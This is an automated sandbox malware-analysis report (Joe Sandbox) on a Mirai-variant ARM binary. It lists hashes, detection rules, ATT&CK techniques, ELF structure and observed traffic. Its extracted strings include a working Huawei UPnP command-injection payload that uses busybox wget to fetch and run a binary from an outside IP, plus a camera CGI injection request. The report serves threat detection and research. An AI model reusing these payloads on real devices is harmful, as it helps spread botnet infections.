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Linux Analysis Report
hgfs.arm7.elf

Overview

General Information

Sample name:	hgfs.arm7.elf
Analysis ID:	1639192
MD5:	e8115e9914d8119cd46f756507f589d2
SHA1:	678b6abceec959243454b0661aac9f1e25d4bcd2
SHA256:	1d4ad085522287fa1c170f89f09d1ed3f46c9ba362343de5e1ef2b07579fadad
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	64
Range:	0 - 100

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1639192
Start date and time:	2025-03-15 03:52:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	hgfs.arm7.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/0@0/0
Cookbook Comments:	Analysis time extended to 480s due to sleep detection in submitted sample

Warnings

VT rate limit hit for: http://167.99.88.89/a

Runtime Messages

Command:	/tmp/hgfs.arm7.elf
PID:	6257
Exit Code:	255
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	/lib/ld-uClibc.so.0: No such file or directory

Process Tree

system is lnxubuntu20

hgfs.arm7.elf (PID: 6257, Parent: 6180, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/hgfs.arm7.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
hgfs.arm7.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
hgfs.arm7.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x743f:$x2: /bin/busybox chmod 777 * /tmp/ 0x71a8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
6257.1.00007fd498026000.00007fd498027000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6257.1.00007fd498017000.00007fd49801f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6257.1.00007fd498017000.00007fd49801f000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x743f:$x2: /bin/busybox chmod 777 * /tmp/ 0x71a8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: hgfs.arm7.elf PID: 6257	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.67.36.189 -l /tmp/.oxy -r /bins/oxy.mips; /bin/busybox chmod 777 * /tmp/.oxy; /tmp/.oxy)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: Initial sample	Potential command found: GET /set_ftp.cgi?loginuse=
Source: Initial sample	Potential command found: GET /ftptest.cgi?loginuse=
Source: Initial sample	Potential command found: GET login.cgi HTTP/1.0
Source: Initial sample	Potential command found: GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+cd+/tmp+>>+/tmp/t%29 HTTP/1.0
Source: Initial sample	Potential command found: GET /ftptest.cgi?loginuse= HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: hgfs.arm7.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6257.1.00007fd498017000.00007fd49801f000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal64.troj.linELF@0/0@0/0

Source: /tmp/hgfs.arm7.elf (PID: 6257)

Queries kernel information via 'uname':

Jump to behavior

Source: hgfs.arm7.elf, 6257.1.00007ffcfd129000.00007ffcfd14a000.rw-.sdmp, hgfs.arm7.elf, 6257.1.0000562a66444000.0000562a66572000.rw-.sdmp	Binary or memory string: /tmp/hgfs.arm7.elf
Source: hgfs.arm7.elf, 6257.1.0000562a66444000.0000562a66572000.rw-.sdmp	Binary or memory string: @Df*Vrg.qemu.gdb.arm.sys.regs">
Source: hgfs.arm7.elf, 6257.1.00007ffcfd129000.00007ffcfd14a000.rw-.sdmp	Binary or memory string: qemu: %s: %s
Source: hgfs.arm7.elf, 6257.1.00007ffcfd129000.00007ffcfd14a000.rw-.sdmp	Binary or memory string: !x86_64/usr/bin/qemu-arm/tmp/hgfs.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/hgfs.arm7.elf
Source: hgfs.arm7.elf, 6257.1.00007ffcfd129000.00007ffcfd14a000.rw-.sdmp	Binary or memory string: leqemu: %s: %s
Source: hgfs.arm7.elf, 6257.1.0000562a66444000.0000562a66572000.rw-.sdmp	Binary or memory string: Ef*V!/tmp/hgfs.arm7.elf!AttributeTypeAndValue
Source: hgfs.arm7.elf, 6257.1.0000562a66444000.0000562a66572000.rw-.sdmp	Binary or memory string: Ef*V!/etc/qemu-binfmt/arm
Source: hgfs.arm7.elf, 6257.1.0000562a66444000.0000562a66572000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: hgfs.arm7.elf, 6257.1.00007ffcfd129000.00007ffcfd14a000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: hgfs.arm7.elf, 6257.1.0000562a66444000.0000562a66572000.rw-.sdmp	Binary or memory string: /tmp/hgfs.arm7.elfSHELL=/bin/bashSUDO_GID=1000MAIL=/var/mail/rootHOME=/rootSUDO_COMMAND=/bin/bashLANG=en_US.UTF-8USER=rootLOGNAME=rootCOLORTERM=truecolorTERM=xterm-256colorSUDO_UID=1000XAUTHORITY=/run/user/1000/gdm/XauthorityDISPLAY=:1.0PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binSUDO_USER=saturnino/tmp/hgfs.arm7.elf
Source: hgfs.arm7.elf, 6257.1.0000562a66444000.0000562a66572000.rw-.sdmp	Binary or memory string: rg.qemu.gdb.arm.sys.regs">

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: hgfs.arm7.elf, type: SAMPLE
Source: Yara match	File source: 6257.1.00007fd498026000.00007fd498027000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: 6257.1.00007fd498017000.00007fd49801f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hgfs.arm7.elf PID: 6257, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: hgfs.arm7.elf, type: SAMPLE
Source: Yara match	File source: 6257.1.00007fd498026000.00007fd498027000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: 6257.1.00007fd498017000.00007fd49801f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hgfs.arm7.elf PID: 6257, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
hgfs.arm7.elf	50%	ReversingLabs	Linux.Trojan.Mirai

Name	Source	Malicious	Reputation
http://167.99.88.89/a	hgfs.arm7.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	hgfs.arm7.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	hgfs.arm7.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	na.elf	Get hash	malicious	Prometei	Browse
	gigab.arm5.elf	Get hash	malicious	Gafgyt	Browse
	sh4.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
91.189.91.42	na.elf	Get hash	malicious	Prometei	Browse
	gigab.arm5.elf	Get hash	malicious	Gafgyt	Browse
	sh4.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	.i.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	gigab.arm5.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	main_arm7.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	sh4.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	185.125.190.26
	mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	.i.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	185.125.190.26
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	gigab.arm5.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	main_arm7.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	sh4.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	185.125.190.26
	mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	.i.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	185.125.190.26
INIT7CH	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	gigab.arm5.elf	Get hash	malicious	Gafgyt	Browse	109.202.202.202
	sh4.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	mpsl.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	.i.elf	Get hash	malicious	Unknown	Browse	109.202.202.202

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
Entropy (8bit):	5.839513927576266
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	hgfs.arm7.elf
File size:	32'307 bytes
MD5:	e8115e9914d8119cd46f756507f589d2
SHA1:	678b6abceec959243454b0661aac9f1e25d4bcd2
SHA256:	1d4ad085522287fa1c170f89f09d1ed3f46c9ba362343de5e1ef2b07579fadad
SHA512:	461f240f83f6d6bd9ef6cd0c56f7ac0771c2e696e7024d0cd14aa91e67986e3501a904fd05044ae22e3e645cc1c0051f9fa48371462d8f2f4b35f9b57cccac46
SSDEEP:	768:vdBc24LsGy3H+DvVgBwU3Xcb4gLO18Lp9NDnNn94zzZb9akkkkkkkkkkkkkkkkkE:VBcuGy3HQ9g+U3Xcb4gLOE/NTJ8Takkt
TLSH:	A4E29288E919233AC3E177FFDF8542CF33BA1BD873EA79258631552423C8B646A35520
File Content Preview:	.ELF..............(.........4....z......4. ...(.........4...4...4...................................................................`v..`v..............`v..`v..`v..\...................pv..pv..pv..................Q.td............................/lib/ld-uCl

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8f04
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	6
Section Header Offset:	31372
Section Header Size:	40
Number of Section Headers:	22
Header String Table Index:	21

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.interp	PROGBITS	0x80f4	0xf4	0x14	0x0	0x2	A	0	0	1
.hash	HASH	0x8108	0x108	0x230	0x4	0x2	A	3	0	4
.dynsym	DYNSYM	0x8338	0x338	0x470	0x10	0x2	A	4	1	4
.dynstr	STRTAB	0x87a8	0x7a8	0x206	0x0	0x2	A	0	0	1
.rel.plt	REL	0x89b0	0x9b0	0x1d8	0x8	0x2	A	3	7	4
.init	PROGBITS	0x8b88	0xb88	0x10	0x0	0x6	AX	0	0	4
.plt	PROGBITS	0x8b98	0xb98	0x2d8	0x4	0x6	AX	0	0	4
.text	PROGBITS	0x8e70	0xe70	0x6010	0x0	0x6	AX	0	0	4
.fini	PROGBITS	0xee80	0x6e80	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0xee90	0x6e90	0x7d0	0x0	0x2	A	0	0	4
.eh_frame	PROGBITS	0x17660	0x7660	0x4	0x0	0x3	WA	0	0	4
.init_array	INIT_ARRAY	0x17664	0x7664	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x17668	0x7668	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x1766c	0x766c	0x4	0x0	0x3	WA	0	0	4
.dynamic	DYNAMIC	0x17670	0x7670	0xb8	0x8	0x3	WA	4	0	4
.got	PROGBITS	0x17728	0x7728	0xf8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x17820	0x7820	0x9c	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x178bc	0x78bc	0xd4b4	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x78bc	0x112	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x79ce	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x79e4	0xa5	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
PHDR	0x34	0x8034	0x8034	0xc0	0xc0	2.2687	0x5	R E	0x4
INTERP	0xf4	0x80f4	0x80f4	0x14	0x14	3.6842	0x4	R	0x1	/lib/ld-uClibc.so.0	.interp
LOAD	0x0	0x8000	0x8000	0x7660	0x7660	5.8623	0x5	R E	0x8000		.interp .hash .dynsym .dynstr .rel.plt .init .plt .text .fini .rodata
LOAD	0x7660	0x17660	0x17660	0x25c	0xd710	3.9215	0x6	RW	0x8000		.eh_frame .init_array .fini_array .jcr .dynamic .got .data .bss
DYNAMIC	0x7670	0x17670	0x17670	0xb8	0xb8	2.1062	0x6	RW	0x4		.dynamic
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Dynamic Tags

Type	Meta	Value	Tag
DT_NEEDED	sharedlib	libc.so.0	0x1
DT_INIT	value	0x8b88	0xc
DT_FINI	value	0xee80	0xd
DT_INIT_ARRAY	value	0x17664	0x19
DT_INIT_ARRAYSZ	bytes	4	0x1b
DT_FINI_ARRAY	value	0x17668	0x1a
DT_FINI_ARRAYSZ	bytes	4	0x1c
DT_HASH	value	0x8108	0x4
DT_STRTAB	value	0x87a8	0x5
DT_SYMTAB	value	0x8338	0x6
DT_STRSZ	bytes	518	0xa
DT_SYMENT	bytes	16	0xb
DT_DEBUG	value	0x0	0x15
DT_PLTGOT	value	0x17728	0x3
DT_PLTRELSZ	bytes	472	0x2
DT_PLTREL	pltrel	DT_REL	0x14
DT_JMPREL	value	0x89b0	0x17
DT_NULL	value	0x0	0x0

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__bss_end__	.dynsym	0x24d70	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.dynsym	0x178bc	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.dynsym	0x178bc	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__data_start	.dynsym	0x17820	0	NOTYPE	<unknown>	DEFAULT	17
__end__	.dynsym	0x24d70	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__errno_location	.dynsym	0x8dc8	32	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__exidx_end	.dynsym	0xf660	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.dynsym	0xf660	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__uClibc_main	.dynsym	0x8d50	848	FUNC	<unknown>	DEFAULT	SHN_UNDEF
_bss_end__	.dynsym	0x24d70	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_edata	.dynsym	0x178bc	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.dynsym	0x24d70	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.dynsym	0x8dec	104	FUNC	<unknown>	DEFAULT	SHN_UNDEF
_start	.dynsym	0x8f04	80	FUNC	<unknown>	DEFAULT	8
abort	.dynsym	0x8c78	296	FUNC	<unknown>	DEFAULT	SHN_UNDEF
atoi	.dynsym	0x8de0	32	FUNC	<unknown>	DEFAULT	SHN_UNDEF
bind	.dynsym	0x8cb4	68	FUNC	<unknown>	DEFAULT	SHN_UNDEF
calloc	.dynsym	0x8c84	320	FUNC	<unknown>	DEFAULT	SHN_UNDEF
clock	.dynsym	0x8e10	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
close	.dynsym	0x8e34	100	FUNC	<unknown>	DEFAULT	SHN_UNDEF
connect	.dynsym	0x8bd0	116	FUNC	<unknown>	DEFAULT	SHN_UNDEF
exit	.dynsym	0x8dd4	196	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fcntl	.dynsym	0x8e28	244	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fork	.dynsym	0x8d44	972	FUNC	<unknown>	DEFAULT	SHN_UNDEF
free	.dynsym	0x8e4c	572	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getpid	.dynsym	0x8bf4	72	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getppid	.dynsym	0x8d8c	20	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockname	.dynsym	0x8e64	68	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockopt	.dynsym	0x8db0	72	FUNC	<unknown>	DEFAULT	SHN_UNDEF
htonl	.dynsym	0x8d14	32	FUNC	<unknown>	DEFAULT	SHN_UNDEF
htons	.dynsym	0x8dbc	16	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inet_addr	.dynsym	0x8cc0	40	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ioctl	.dynsym	0x8bb8	224	FUNC	<unknown>	DEFAULT	SHN_UNDEF
kill	.dynsym	0x8c9c	56	FUNC	<unknown>	DEFAULT	SHN_UNDEF
listen	.dynsym	0x8d38	64	FUNC	<unknown>	DEFAULT	SHN_UNDEF
malloc	.dynsym	0x8c24	2360	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memcpy	.dynsym	0x8c0c	4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memmove	.dynsym	0x8be8	4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memset	.dynsym	0x8d68	156	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ntohl	.dynsym	0x8ccc	32	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ntohs	.dynsym	0x8d80	16	FUNC	<unknown>	DEFAULT	SHN_UNDEF
open	.dynsym	0x8e04	100	FUNC	<unknown>	DEFAULT	SHN_UNDEF
prctl	.dynsym	0x8c00	68	FUNC	<unknown>	DEFAULT	SHN_UNDEF
raise	.dynsym	0x8e40	240	FUNC	<unknown>	DEFAULT	SHN_UNDEF
rand	.dynsym	0x8cf0	24	FUNC	<unknown>	DEFAULT	SHN_UNDEF
read	.dynsym	0x8d08	100	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recv	.dynsym	0x8bc4	112	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recvfrom	.dynsym	0x8c3c	136	FUNC	<unknown>	DEFAULT	SHN_UNDEF
select	.dynsym	0x8c54	132	FUNC	<unknown>	DEFAULT	SHN_UNDEF
send	.dynsym	0x8c6c	112	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sendto	.dynsym	0x8d20	136	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setsid	.dynsym	0x8e1c	64	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setsockopt	.dynsym	0x8cd8	72	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigaddset	.dynsym	0x8c60	80	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigemptyset	.dynsym	0x8bdc	20	FUNC	<unknown>	DEFAULT	SHN_UNDEF
signal	.dynsym	0x8cfc	196	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigprocmask	.dynsym	0x8e58	140	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sleep	.dynsym	0x8c30	272	FUNC	<unknown>	DEFAULT	SHN_UNDEF
socket	.dynsym	0x8c48	68	FUNC	<unknown>	DEFAULT	SHN_UNDEF
srand	.dynsym	0x8d74	164	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcat	.dynsym	0x8ca8	40	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcmp	.dynsym	0x8da4	28	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcpy	.dynsym	0x8bac	36	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strdup	.dynsym	0x8d5c	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strlen	.dynsym	0x8df8	96	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strstr	.dynsym	0x8ce4	252	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strtok	.dynsym	0x8d2c	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
system	.dynsym	0x8c18	132	FUNC	<unknown>	DEFAULT	SHN_UNDEF
time	.dynsym	0x8d98	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
write	.dynsym	0x8c90	100	FUNC	<unknown>	DEFAULT	SHN_UNDEF

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 15, 2025 03:53:03.032238960 CET	43928	443	192.168.2.23	91.189.91.42
Mar 15, 2025 03:53:08.663388014 CET	42836	443	192.168.2.23	91.189.91.43
Mar 15, 2025 03:53:10.199198008 CET	42516	80	192.168.2.23	109.202.202.202
Mar 15, 2025 03:53:22.997543097 CET	43928	443	192.168.2.23	91.189.91.42
Mar 15, 2025 03:53:35.283878088 CET	42836	443	192.168.2.23	91.189.91.43
Mar 15, 2025 03:53:41.427025080 CET	42516	80	192.168.2.23	109.202.202.202
Mar 15, 2025 03:54:03.951735020 CET	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: hgfs.arm7.elf PID: 6257, Parent PID: 6180

General

Start time (UTC):	02:53:01
Start date (UTC):	15/03/2025
Path:	/tmp/hgfs.arm7.elf
Arguments:	/tmp/hgfs.arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Source: hgfs.arm7.elf	String found in binary or memory: http://167.99.88.89/a
Source: hgfs.arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: hgfs.arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: hgfs.arm7.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6257.1.00007fd498017000.00007fd49801f000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

